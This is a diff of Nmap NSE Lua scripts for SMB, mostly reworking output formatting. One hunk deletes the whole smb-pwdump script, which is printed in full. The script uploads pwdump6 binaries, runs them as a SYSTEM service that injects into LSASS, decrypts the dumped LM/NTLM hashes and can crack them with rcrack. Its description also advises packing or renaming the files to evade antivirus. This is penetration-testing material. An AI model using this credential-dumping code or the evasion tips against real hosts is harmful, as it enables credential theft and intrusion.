@@ -1215,31 +1270,7 @@ local function parse_output(config, data)
return true, results
end
---Convert the array generated by <code>parse_output</code> into something a little friendlier.
local function results_to_string(results)
local response = " \n"
for _, mod in ipairs(results) do
response = response .. string.format("%s\n", mod.name)
for i = 1, #mod.lines, 1 do
if(i < #mod.lines) then
response = response .. string.format("| %s\n", mod.lines[i])
else
response = response .. string.format("|_%s\n", mod.lines[i])
response = response .. " \n"
end
end
end
if(response == " \n") then
return ""
end
return response
end
function go(host)
action = function(host)
local status, result, err
local key
@@ -1253,7 +1284,7 @@ function go(host)
-- Parse the configuration file
status, config = get_config(host)
if(not(status)) then
return false, config
return stdnse.format_output(false, config)
end
if(#config.enabled_modules > 0) then
@@ -1262,55 +1293,57 @@ function go(host)
-- If the user just wanted a cleanup, do it
if(nmap.registry.args.cleanup == '1' or nmap.registry.args.cleanup == 'true') then
return true, "Cleanup complete"
return stdnse.format_output(true, "Cleanup complete.")
end
-- Check if any of the files exist
status, result, files = smb.files_exist(host, config.share, config.all_files, {})
if(not(status)) then
return false, "Couldn't log in to check for remote files: " .. result
return stdnse.format_output(false, "Couldn't log in to check for remote files: " .. result)
end
if(result > 0) then
return false, "One or more output files already exist on the host, and couldn't be removed. Try:\n" ..
" * Running the script with --script-args=cleanup=1 to force a cleanup (passing -d and looking for error messages might hlep),\n" ..
" * Running the script with --script-args=randomseed=ABCD (or something) to change the name of the uploaded files,\n" ..
" * Changing the share and path using, for example, --script-args=share=C$,sharepath=C:, or\n" ..
" * Deleting the affected file(s) off the server manually (\\\\" .. config.share .. "\\" .. stdnse.strjoin(", \\\\" .. config.share .. "\\", files) .. ")"
local response = {}
table.insert(response, "One or more output files already exist on the host, and couldn't be removed. Try:")
table.insert(response, "* Running the script with --script-args=cleanup=1 to force a cleanup (passing -d and looking for error messages might help),")
table.insert(response, "* Running the script with --script-args=randomseed=ABCD (or something) to change the name of the uploaded files,")
table.insert(response, "* Changing the share and path using, for example, --script-args=share=C$,sharepath=C:, or")
table.insert(response, "* Deleting the affected file(s) off the server manually (\\\\" .. config.share .. "\\" .. stdnse.strjoin(", \\\\" .. config.share .. "\\", files) .. ")")
return stdnse.format_output(false, response)
end
-- Upload the modules
status, err = upload_everything(host, config)
if(not(status)) then
cleanup(host, config)
return false, err
return stdnse.format_output(false, err)
end
-- Create the service
status, err = create_service(host, config)
if(not(status)) then
cleanup(host, config)
return false, err
return stdnse.format_output(false, err)
end
-- Get the table of parameters to pass to the service when we start it
status, params = get_params(config)
if(not(status)) then
cleanup(host, config)
return false, params
return stdnse.format_output(false, params)
end
-- Start the service
status, params = start_service(host, config, params)
if(not(status)) then
cleanup(host, config)
return false, params
return stdnse.format_output(false, params)
end
-- Get the result
status, result = get_output_file(host, config, config.share)
if(not(status)) then
cleanup(host, config)
return false, result
return stdnse.format_output(false, result)
end
-- Do a final cleanup
@@ -1321,40 +1354,21 @@ function go(host)
end
-- Build the output into a nice table
status, results = parse_output(config, result)
status, response = parse_output(config, result)
if(status == false) then
return false, "Couldn't parse output: " .. results
return stdnse.format_output(false, "Couldn't parse output: " .. results)
end
-- Parse the results into a pretty string
response = results_to_string(results)
-- Add a warning if nothing was enabled
if(#config.enabled_modules == 0) then
if(#response == 0) then
response = "No modules were enabled! Please check your configuration file."
response = {"No modules were enabled! Please check your configuration file."}
else
response = response .. "\n\nNo modules were enabled! Please fix any errors displayed above, or check your configuration file."
table.insert(response, "No modules were enabled! Please fix any errors displayed above, or check your configuration file.")
end
end
-- Return the string
return true, response
return stdnse.format_output(true, response)
end
action = function(host)
local status, result = go(host)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
else
return nil
end
end
return result
end

View File

@@ -1,536 +0,0 @@
description = [[
This script implements the functionality found in pwdump.exe, written by the Foofus group.
Essentially, it works by using pwdump6's modules (servpw.exe and lsremora.dll) to dump the
password hashes for a remote machine. This currently works against Windows 2000 and Windows
2003.
To run this script, the executable files for pwdump, servpw.exe and lsremora.dll, have to be
downloaded. These can be found at <http://foofus.net/fizzgig/pwdump/>, and version 1.6 has been
tested. Those two files should be placed in nmap's nselib data directory, <code>.../nselib/data/</code>.
Note that these files will likely trigger antivirus software -- if you want to get around that,
I recommend compiling your own version or obfuscating/encrypting/packing them (upx works wonders).
Another possible way around antivirus software is to change the filenames (especially on the remote
system -- triggering antivirus on the remote system can land you with some questions to answer). To do
that, simply change the <code>FILE*</code> constants in <code>smb-pwdump.nse</code>.
The hashes dumped are Lanman and NTLM, and they're in the format Lanman:NTLM. If one or the other
isn't set, it's indicated. These are the hashes that are stored in the SAM file on Windows,
and can be used in place of a password to log into systems (this technique is called "passing the
hash", and can be done in Nmap by using the <code>smbhash</code> argument instead of
<code>smbpassword</code> -- see <code>smbauth.lua</code> for more information.
In addition to directly using the hashes, the hashes can also be cracked. Hashes can be cracked
fairly easily with Rainbow Crack (rcrack) or John the Ripper (john). If you intend to crack the
hashes without smb-pwdump.nse's help, I suggest setting the <code>strict</code> parameter to '1', which
tells smb-pwdump.nse to print the hashes in pwdump format (except for the leading pipe '|', which
Nmap adds). Alternatively, you can tell the script to crack the passwords using the <code>rtable</code>
argument. For example:
<code>nmap -p445 --script=smb-pwdump --script-args=smbuser=ron,smbpass=iagotest2k3,rtable=/tmp/alpha/*.rt <host></code>
This assumes that 'rcrack' is installed in a standard place -- if not, the <code>rcrack</code> parameter
can be set to the path. The charset.txt file from Rainbow Crack may also have to be in the current
directory.
This script works by uploading the pwdump6 program to a fileshare, then establishing a connection
to the service control service (SVCCTL) and creating a new service, pointing to the pwdump6 program
(this sounds really invasive, but it's identical to how pwdump6, fgdump, psexec, etc. work). The service
runs, and sends back the data. Once the service is finished, the script will stop the service and
delete the files.
Obviously, this script is <em>highly</em> intrusive (and requires administrative privileges).
It's running a service on the remote machine (with SYSTEM-level access) to accomplish its goals,
and the service injects itself into the LSASS process to collect the needed information.
That being said, extra effort was focused on cleaning up. Unless something really bad happens
(which is always possible with a script like this), the service will be removed and the files
deleted.
Currently, this will only run against server versions of Windows (Windows 2000 and Windows 2003).
I (Ron Bowes) am hoping to make Windows XP work, but I've had nothing but trouble. Windows Vista
and higher won't ever work, because they disable the SVCCTL process.
This script was written mostly to highlight Nmap's growing potential as a pen-testing tool.
It complements the <code>smb-brute.nse</code> script because smb-brute can find weak administrator
passwords, then smb-pwdump.nse can use those passwords to dump hashes/passwords. Those can be added
to the password list for more brute forcing.
Since this tool can be dangerous, and can easily be viewed as a malicious tool, the usual
disclaimer applies -- use this responsibly, and especially don't break any laws with it.
]]
---
-- @usage
-- nmap --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p445 <host>
-- sudo nmap -sU -sS --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p U:137,T:139 <host>
--
-- @output
-- | smb-test:
-- | Administrator:500:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
-- | ASPNET:1001:359E64F7361B678C283B72844ABF5707:49B784EF1E7AE06953E7A4D37A3E9529:::
-- | blankadmin:1003:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | blankuser:1004:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | Ron:1000:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
-- |_ test:1002:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
--
-- @args rcrack Override the location checked for the Rainbow Crack program. By default, uses the default
-- directories searched by Lua (the $PATH variable, most likely)
-- @args rtable Set the path to the Rainbow Tables; for example, <code>/tmp/rainbow/*.rt</code>.
-- @args strict If set to '1', enable strict output. All output will be in pure pwdump format,
-- except for the leading pipe.
-----------------------------------------------------------------------
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive"}
require 'msrpc'
require 'smb'
require 'stdnse'
local SERVICE = "nmap-pwdump-"
local PIPE = "nmap-pipe-"
local FILE1 = "nselib/data/lsremora.dll"
local FILENAME1 = "lsremora.dll"
local FILE2 = "nselib/data/servpw.exe"
local FILENAME2 = "servpw.exe"
hostrule = function(host)
return smb.get_port(host) ~= nil
end
---Stop/delete the service and delete the service file. This can be used alone to clean up the
-- pwdump stuff, if this crashes.
--
--@param host The host object.
--@param share The share to clean up on.
--@param path The local path to the share.
--@param service_name The name to use for the service.
function cleanup(host, share, path, service_name)
local status, err
stdnse.print_debug(1, "Entering cleanup('%s', '%s', '%s') -- errors here can generally be ignored", share, path, service_name)
-- Try stopping the service
status, err = msrpc.service_stop(host, SERVICE .. service_name)
if(status == false) then
stdnse.print_debug(1, "Couldn't stop service: %s", err)
end
-- Try deleting the service
status, err = msrpc.service_delete(host, SERVICE .. service_name)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete service: %s", err)
end
-- Delete the files
status, err = smb.file_delete(host, share, "\\" .. FILENAME1)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME1, err)
end
status, err = smb.file_delete(host, share, "\\" .. FILENAME2)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME2, err)
end
stdnse.print_debug(1, "Leaving cleanup()")
return true
end
function upload_files(host, share)
local status, err
status, err = smb.file_upload(host, FILE1, share, "\\" .. FILENAME1)
if(status == false) then
cleanup(host)
return false, string.format("Couldn't upload %s: %s\n", FILE1, err)
end
status, err = smb.file_upload(host, FILE2, share, "\\" .. FILENAME2)
if(status == false) then
cleanup(host)
return false, string.format("Couldn't upload %s: %s\n", FILE2, err)
end
return true
end
function read_and_decrypt(host, key, pipe)
local status, smbstate
local results = {}
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
if(status == false) then
return false, smbstate
end
local i = 1
repeat
local status, wait_result, create_result, read_result, close_result
results[i] = {}
-- Wait for some data to show up on the pipe (there's a bit of a race condition here -- if this is called before the pipe is
-- created, it'll fail with a STATUS_OBJECT_NAME_NOT_FOUND.
local j = 1
repeat
status, wait_result = smb.send_transaction_waitnamedpipe(smbstate, 0, "\\PIPE\\" .. pipe)
if(status ~= false) then
break
end
j = j + 1
-- Wait 50ms, if there's a time when we get an actual sleep()-style function.
stdnse.sleep(.05)
until status == true
if(j == 10) then
smbstop(smbstate)
return false, "WaitForNamedPipe() failed, service may not have been created properly."
end
-- Get a handle to the pipe
local overrides = {}
status, create_result = smb.create_file(smbstate, "\\" .. pipe, overrides)
if(status == false) then
smb.stop(smbstate)
return false, create_result
end
status, read_result = smb.read_file(smbstate, 0, 1000)
if(status == false) then
-- TODO: Figure out how to handle errors better
return false, read_result
else
local data = read_result['data']
local code = string.byte(string.sub(data, 1, 1))
if(code == 0) then
break
elseif(code == 2) then
local cUserBlocks = string.byte(string.sub(data, 3, 3))
local userblock = ""
for j = 0, cUserBlocks, 1 do
local _, a, b = bin.unpack("<II", data, 68 + (j * 8))
local encrypted = bin.pack(">II", a, b)
local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
_, a, b = bin.unpack("<II", decrypted_hex)
userblock = userblock .. bin.pack(">II", a, b)
end
local password_block = ""
for j = 0, 3, 1 do
local _, a, b = bin.unpack("<II", data, 4 + (j * 8))
local encrypted = bin.pack(">II", a, b)
local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
_, a, b = bin.unpack("<II", decrypted_hex)
password_block = password_block .. bin.pack(">II", a, b)
end
_, results[i]['username'] = bin.unpack("z", userblock)
_, results[i]['ntlm'] = bin.unpack("H16", password_block)
_, results[i]['lm'] = bin.unpack("H16", password_block, 17)
if(results[i]['lm'] == "AAD3B435B51404EEAAD3B435B51404EE") then
results[i]['lm'] = "NO PASSWORD*********************"
end
if(results[i]['ntlm'] == "31D6CFE0D16AE931B73C59D7E0C089C0") then
results[i]['ntlm'] = "NO PASSWORD*********************"
end
else
stdnse.print_debug(1, "Unknown message code from pwdump: %d", code)
end
end
status, close_result = smb.close_file(smbstate)
if(status == false) then
smb.stop(smbstate)
return false, close_result
end
i = i + 1
until(1 == 2)
smb.stop(smbstate)
return true, results
end
-- TODO: Check for OpenSSL
function go(host)
local status, err
local results
local key
local key = ""
local i
local result
local service_name
local share, path
result, service_name = smb.get_uniqueish_name(host)
if(result == false) then
return false, string.format("Error generating service name: %s", service_name)
end
stdnse.print_debug("pwdump: Generated static service name: %s", service_name)
-- Try and find a share to use.
result, share, path = smb.share_find_writable(host)
if(result == false) then
return false, string.format("Couldn't find a writable share: %s", share)
end
if(path == nil) then
return false, string.format("Couldn't find path to writable share (we probably don't have admin access): '%s'", share)
end
stdnse.print_debug(1, "pwdump: Found usable share %s (%s)", share, path)
-- Start by cleaning up, just in case.
cleanup(host, share, path, service_name)
-- It seems that, in my tests, if a key contains either a null byte or a negative byte (>= 0x80), errors
-- happen. So, at the cost of generating a weaker key (keeping in mind that it's already sent over the
-- network), we're going to generate a key from printable characters only (we could use 0x01 to 0x1F
-- without error, but eh? Debugging is easier when you can type the key in)
local key_bytes = openssl.rand_bytes(16)
for i = 1, 16, 1 do
key = key .. string.char((string.byte(string.sub(key_bytes, i, i)) % 0x5F) + 0x20)
end
-- Upload the files
status, err = upload_files(host, share)
if(status == false) then
stdnse.print_debug(1, "Couldn't upload the files: %s", err)
cleanup(host, share, path, service_name)
return false, string.format("Couldn't upload the files: %s", err)
end
-- Create the service
status, err = msrpc.service_create(host, SERVICE .. service_name, path .. "\\servpw.exe")
if(status == false) then
stdnse.print_debug(1, "Couldn't create the service: %s", err)
cleanup(host, share, path, service_name)
return false, string.format("Couldn't create the service on the remote machine: %s", err)
end
-- Start the service
status, err = msrpc.service_start(host, SERVICE .. service_name, {PIPE .. service_name, key, tostring(string.char(16)), tostring(string.char(0)), "servpw.exe"})
if(status == false) then
stdnse.print_debug(1, "Couldn't start the service: %s", err)
cleanup(host, share, path, service_name)
return false, string.format("Couldn't start the service on the remote machine: %s", err)
end
-- Read the data
status, results = read_and_decrypt(host, key, PIPE .. service_name)
if(status == false) then
stdnse.print_debug(1, "Error reading data from remote service")
cleanup(host, share, path, service_name)
return false, string.format("Failed to read password data from the remote service: %s", err)
end
-- Clean up what we did
cleanup(host, share, path, service_name)
return true, results
end
---Converts an array of accounts to a pwdump-like representation.
--@param accounts The accounts array. It should have a list of tables, each with 'username', 'lm', and 'ntlm'.
--@param strict If 'strict' is set to true, a true pwdump representation wiill be used; otherwise, a more user friendly one will.
--@return A string in the standard pwdump format.
function accounts_to_pwdump(accounts, strict)
local str = ""
for i=1, #accounts, 1 do
if(accounts[i]['username'] ~= nil) then
if(strict) then
str = str .. string.format("%s:%s:%s:::\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
else
if(accounts[i]['password']) then
str = str .. string.format("%s => %s:%s (Password: %s)\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'], accounts[i]['password'])
else
str = str .. string.format("%s => %s:%s\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
end
end
end
end
return str
end
---Run the 'rcrack' program and parse the output. This may sound simple, but the output of rcrack clearly
-- wasn't designed to be scriptable, so it's a little difficult. But, it works, at least for 1.2.
function rainbow(accounts, rcrack, rtable)
local pwdump = accounts_to_pwdump(accounts, true)
local pwdump_file = os.tmpname()
local file
local command = rcrack .. " " .. rtable .. " -f " .. pwdump_file
-- Print a warning if 'charset.txt' isn't present
file = io.open("charset.txt", "r")
if(file == nil) then
stdnse.print_debug(1, "WARNING: 'charset.txt' not found in current directory; rcrack may not run properly")
else
io.close(file)
end
-- Create the pwdump file
stdnse.print_debug(1, "Creating the temporary pwdump file (%s)", pwdump_file)
file, err = io.open(pwdump_file, "w")
if(file == nil) then
return false, err
end
file:write(pwdump)
file:close()
-- Start up rcrack
stdnse.print_debug(1, "Starting rcrack (%s)", command)
file, err = io.popen(command, "r")
if(file == nil) then
return false, err
end
for line in file:lines() do
stdnse.print_debug(2, "RCRACK: %s\n", line)
if(string.find(line, "hex:") ~= nil) then
local start_hex1 = 0
local start_hex2 = 0
local hex1, hex2
local ascii1, ascii2
local password
local i
-- First, find the last place in the string that starts with "hex:"
repeat
local _, pos = string.find(line, " hex:", start_hex1)
if(pos ~= nil) then
start_hex1 = pos + 1
end
until pos == nil
-- Get the first part of the hex
if(string.sub(line, start_hex1, start_hex1 + 9) == "<notfound>") then
-- If it wasn't found, then set it as such and go to after the "not found" part
ascii1 = "<notfound>"
start_hex2 = start_hex1 + 10
else
-- If it was found, convert to ascii
ascii1 = bin.pack("H", string.sub(line, start_hex1, start_hex1 + 13))
start_hex2 = start_hex1 + 14
end
-- Get the second part of the hex
if(string.sub(line, start_hex2) == "") then
ascii2 = ""
elseif(string.sub(line, start_hex2, start_hex2 + 9) == "<notfound>") then
-- It wasn't found
ascii2 = "<notfound>"
else
-- It was found, convert to ascii
ascii2 = bin.pack("H", string.sub(line, start_hex2, start_hex2 + 13))
end
-- Join the two halves of the password together
password = ascii1 .. ascii2
-- Figure out the username (it's the part that is followed by a bunch of spaces then the password)
i = string.find(line, " +" .. password)
username = string.sub(line, 1, i - 1)
-- Finally, find the username in the account table and add our entry
for i=1, #accounts, 1 do
if(accounts[i]['username'] ~= nil) then
if(string.find(accounts[i]['username'], username .. ":%d+$") ~= nil) then
accounts[i]['password'] = password
end
end
end
end
end
-- Close the process handle
file:close()
-- Remove the pwdump file
os.remove(pwdump_file)
return true, accounts
end
action = function(host)
local status, results
local response = " \n"
local rcrack = "rcrack"
local rtable = nil
-- Check if we have the necessary files
if(nmap.fetchfile(FILE1) == nil or nmap.fetchfile(FILE2) == nil) then
local err = " \n"
err = err .. string.format("Couldn't run smb-pwdump.nse, missing required file(s):\n")
if(nmap.fetchfile(FILE1) == nil) then
err = err .. "- " .. FILE1 .. "\n"
end
if(nmap.fetchfile(FILE2) == nil) then
err = err .. "- " .. FILE2 .. "\n"
end
err = err .. string.format("These are included in pwdump6 version 1.7.2:\n")
err = err .. string.format("<http://foofus.net/fizzgig/pwdump/downloads.htm>")
return err
end
status, results = go(host)
if(status == false) then
return "ERROR: " .. results
end
-- Only try cracking if strict is turned off
if(nmap.registry.args.strict == nil) then
-- Override the rcrack program
if(nmap.registry.args.rcrack ~= nil) then
rcrack = nmap.registry.args.rcrack
end
-- Check if a table was passed
if(nmap.registry.args.rtable ~= nil) then
rtable = nmap.registry.args.rtable
end
-- Check a spelling mistake that I keep making
if(nmap.registry.args.rtables ~= nil) then
rtable = nmap.registry.args.rtables
end
-- Check if we actually got a table
if(rtable ~= nil) then
status, crack_results = rainbow(results, rcrack, rtable)
if(status == false) then
response = "ERROR cracking: " .. crack_results .. "\n"
else
results = crack_results
end
end
response = response .. accounts_to_pwdump(results, false)
else
response = response .. accounts_to_pwdump(results, true)
end
return response
end

View File

@@ -18,19 +18,18 @@ set the username and password, etc.), but it probably won't ever require them.
-- sudo nmap -sU -sS --script smb-security-mode.nse -p U:137,T:139 127.0.0.1
--
--@output
-- | smb-security-mode: User-level authentication
-- | smb-security-mode: Challenge/response passwords supported
-- |_ smb-security-mode: Message signing supported
-- Host script results:
-- | smb-security-mode:
-- | | Account that was used for smb scripts: administrator
-- | | User-level authentication
-- | | SMB Security: Challenge/response passwords supported
-- |_ |_ Message signing disabled (dangerous, but default)
-----------------------------------------------------------------------
author = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"}
-- Set the runlevel to above 1 to ensure this runs after the bulk of the scripts. That lets us more effectively
-- find out which account we've been using.
runlevel = 1.01
require 'smb'
require 'stdnse'
@@ -48,58 +47,49 @@ action = function(host)
status, state = smb.start(host)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. state
else
return nil
end
return stdnse.format_output(false, state)
end
status, err = smb.negotiate_protocol(state, overrides)
if(status == false) then
smb.stop(state)
if(nmap.debugging() > 0) then
return "ERROR: " .. err
else
return nil
end
return stdnse.format_output(false, err)
end
local security_mode = state['security_mode']
local response = ""
local response = {}
local result, username, domain = smb.get_account(host)
if(result ~= false) then
response = string.format("Account that was used for smb scripts: %s\%s\n", domain, stdnse.string_or_blank(username, '<blank>'))
table.insert(response, string.format("Account that was used for smb scripts: %s\%s\n", domain, stdnse.string_or_blank(username, '<blank>')))
end
-- User-level authentication or share-level authentication
if(bit.band(security_mode, 1) == 1) then
response = response .. "User-level authentication\n"
else
response = response .. " Share-level authentication\n"
end
if(bit.band(security_mode, 1) == 1) then
table.insert(response, "User-level authentication")
else
table.insert(response, "Share-level authentication (dangerous)")
end
-- Challenge/response supported?
if(bit.band(security_mode, 2) == 0) then
response = response .. "SMB Security: Plaintext only\n"
else
response = response .. "SMB Security: Challenge/response passwords supported\n"
end
-- Challenge/response supported?
if(bit.band(security_mode, 2) == 0) then
table.insert(response, "Plaintext passwords required (dangerous)")
else
table.insert(response, "SMB Security: Challenge/response passwords supported")
end
-- Message signing supported/required?
if(bit.band(security_mode, 8) == 8) then
response = response .. "SMB Security: Message signing required\n"
elseif(bit.band(security_mode, 4) == 4) then
response = response .. "SMB Security: Message signing supported\n"
else
response = response .. "SMB Security: Message signing not supported\n"
end
-- Message signing supported/required?
if(bit.band(security_mode, 8) == 8) then
table.insert(response, "Message signing required")
elseif(bit.band(security_mode, 4) == 4) then
table.insert(response, "Message signing supported")
else
table.insert(response, "Message signing disabled (dangerous, but default)")
end
smb.stop(state)
return response
return stdnse.format_output(true, response)
end

View File

@@ -21,9 +21,9 @@ up to version 1.0.3 (and possibly higher).
-- @output
-- Host script results:
-- | smb-server-stats:
-- | Server statistics collected since 2008-12-12 14:53:27 (89d17h37m48s):
-- | |_ 22884718 bytes (2.95 b/s) sent, 28082489 bytes (3.62 b/s) received
-- |_ |_ 5759 failed logins, 16 permission errors, 0 system errors, 0 print jobs, 1273 files opened
-- | | Server statistics collected since 2009-09-22 09:56:00 (48d5h53m36s):
-- | | | 6513655 bytes (1.56 b/s) sent, 40075383 bytes (9.61 b/s) received
-- |_ |_ |_ 19323 failed logins, 179 permission errors, 0 system errors, 0 print jobs, 2921 files opened
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -42,23 +42,21 @@ end
action = function(host)
local result, stats
local response = " \n"
local response = {}
local subresponse = {}
result, stats = msrpc.get_server_stats(host)
if(result == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. stats
else
return nil
end
return stdnse.format_output(false, response)
end
response = response .. string.format("Server statistics collected since %s (%s):\n", stats['start_str'], stats['period_str'])
response = response .. string.format("|_ %d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received\n", stats['bytessent'], stats['bytessentpersecond'], stats['bytesrcvd'], stats['bytesrcvdpersecond'])
response = response .. string.format("|_ %d failed logins, %d permission errors, %d system errors, %d print jobs, %d files opened\n", stats['pwerrors'], stats['permerrors'], stats['syserrors'], stats['jobsqueued'], stats['fopens'])
table.insert(response, string.format("Server statistics collected since %s (%s):", stats['start_str'], stats['period_str']))
table.insert(subresponse, string.format("%d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received", stats['bytessent'], stats['bytessentpersecond'], stats['bytesrcvd'], stats['bytesrcvdpersecond']))
table.insert(subresponse, string.format("%d failed logins, %d permission errors, %d system errors, %d print jobs, %d files opened", stats['pwerrors'], stats['permerrors'], stats['syserrors'], stats['jobsqueued'], stats['fopens']))
table.insert(response, subresponse)
return response
return stdnse.format_output(true, response)
end

View File

@@ -26,26 +26,20 @@ the system, besides showing a message box to the user.
-- @output
-- Host script results:
-- | smb-system-info:
-- | OS Details
-- | |_ Microsoft Windows Server 2003 Service Pack 2 (ServerNT 5.2 build 3790)
-- | |_ Installed on 2007-11-26 23:40:40
-- | |_ Registered to Ron Bowes (organization: MYCOMPANY)
-- | |_ Path: %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\Microsoft SQL Server\90\Tools\binn\;C:\Program Files\IBM\Rational AppScan\
-- | |_ Systemroot: C:\WINDOWS
-- | |_ Page files: C:\pagefile.sys 2046 4092 (cleared at shutdown => 0)
-- | Hardware
-- | |_ CPU 0: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel]
-- | |_ Identifier 0: x86 Family 15 Model 2 Stepping 9
-- | |_ CPU 1: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel]
-- | |_ Identifier 1: x86 Family 15 Model 2 Stepping 9
-- | |_ CPU 2: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel]
-- | |_ Identifier 2: x86 Family 15 Model 2 Stepping 9
-- | |_ CPU 3: Intel(R) Xeon(TM) CPU 2.80GHz [2780mhz GenuineIntel]
-- | |_ Identifier 3: x86 Family 15 Model 2 Stepping 9
-- | |_ Video driver: RAGE XL PCI Family (Microsoft Corporation)
-- | Browsers
-- | |_ Internet Explorer 7.0000
-- |_ |_ Firefox 3.0.3 (en-US)
-- | | OS Details
-- | | | Microsoft Windows 2000 Service Pack 4 (ServerNT 5.0 build 2195)
-- | | | Installed on 2008-10-10 05:47:19
-- | | | Registered to Ron (organization: Government of Manitoba)
-- | | | Path: %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\Graphviz2.20\Bin;
-- | | | Systemroot: C:\WINNT
-- | | |_ Page files: C:\pagefile.sys 192 384 (cleared at shutdown => 0)
-- | | Hardware
-- | | | CPU 0: Intel(R) Xeon(TM) CPU 2.80GHz [2800mhz GenuineIntel]
-- | | | |_ Identifier 0: x86 Family 15 Model 3 Stepping 8
-- | | |_ Video driver: VMware SVGA II
-- | | Browsers
-- | | | Internet Explorer 6.0000
-- |_ |_ |_ Firefox 3.0.12 (en-US)
-----------------------------------------------------------------------
@@ -59,6 +53,8 @@ require 'msrpc'
require 'smb'
require 'stdnse'
-- TODO: This script needs some love
hostrule = function(host)
return smb.get_port(host) ~= nil
end
@@ -183,59 +179,62 @@ action = function(host)
status, result = get_info_registry(host)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
else
return nil
end
else
local response = " \n"
if(result['status-os'] == true) then
response = response .. string.format("OS Details\n")
response = response .. string.format("|_ %s %s (%s %s build %s)\n", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber'])
response = response .. string.format("|_ Installed on %s\n", result['installdate'])
response = response .. string.format("|_ Registered to %s (organization: %s)\n", result['registeredowner'], result['registeredorganization'])
response = response .. string.format("|_ Path: %s\n", result['path'])
response = response .. string.format("|_ Systemroot: %s\n", result['systemroot'])
response = response .. string.format("|_ Page files: %s (cleared at shutdown => %s)\n", result['pagingfiles'], result['clearpagefileatshutdown'])
response = response .. string.format("Hardware\n")
for i = 0, result['number_of_processors'] - 1, 1 do
if(result['status-processornamestring'..i] == false) then
result['status-processornamestring'..i] = "Unknown"
end
response = response .. string.format("|_ CPU %d: %s [%dmhz %s]\n", i, result['processornamestring'..i], result['~mhz'..i], result['vendoridentifier'..i])
response = response .. string.format("|_ Identifier %d: %s\n", i, result['identifier'..i])
end
response = response .. string.format("|_ Video driver: %s\n", result['video_driverdesc'])
response = response .. string.format("Browsers\n")
response = response .. string.format("|_ Internet Explorer %s\n", result['ie_version'])
if(result['status-ff_version']) then
response = response .. string.format("|_ Firefox %s\n", result['ff_version'])
end
elseif(result['status-productname'] == true) then
if(nmap.debugging() > 0) then
response = response .. string.format("|_ Access was denied for certain values; try an administrative account for more complete information\n")
end
response = response .. string.format("OS Details\n")
response = response .. string.format("|_ %s %s (%s %s build %s)\n", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber'])
response = response .. string.format("|_ Installed on %s\n", result['installdate'])
response = response .. string.format("|_ Registered to %s (organization: %s)\n", result['registeredowner'], result['registeredorganization'])
response = response .. string.format("|_ Systemroot: %s\n", result['systemroot'])
else
if(nmap.debugging() > 0) then
response = string.format("|_ Account being used was unable to probe for information, try using an administrative account\n")
else
response = nil
end
end
return response
return stdnse.format_output(false, result)
end
local response = {}
if(result['status-os'] == true) then
local osdetails = {}
osdetails['name'] = "OS Details"
table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
table.insert(osdetails, string.format("Path: %s", result['path']))
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
table.insert(osdetails, string.format("Page files: %s (cleared at shutdown => %s)", result['pagingfiles'], result['clearpagefileatshutdown']))
table.insert(response, osdetails)
local hardware = {}
hardware['name'] = "Hardware"
for i = 0, result['number_of_processors'] - 1, 1 do
if(result['status-processornamestring'..i] == false) then
result['status-processornamestring'..i] = "Unknown"
end
local processor = {}
processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
table.insert(hardware, processor)
end
table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
table.insert(response, hardware)
local browsers = {}
browsers['name'] = "Browsers"
table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
if(result['status-ff_version']) then
table.insert(browsers, string.format("Firefox %s", result['ff_version']))
end
table.insert(response, browsers)
return stdnse.format_output(true, response)
elseif(result['status-productname'] == true) then
local osdetails = {}
osdetails['name'] = 'OS Details'
osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
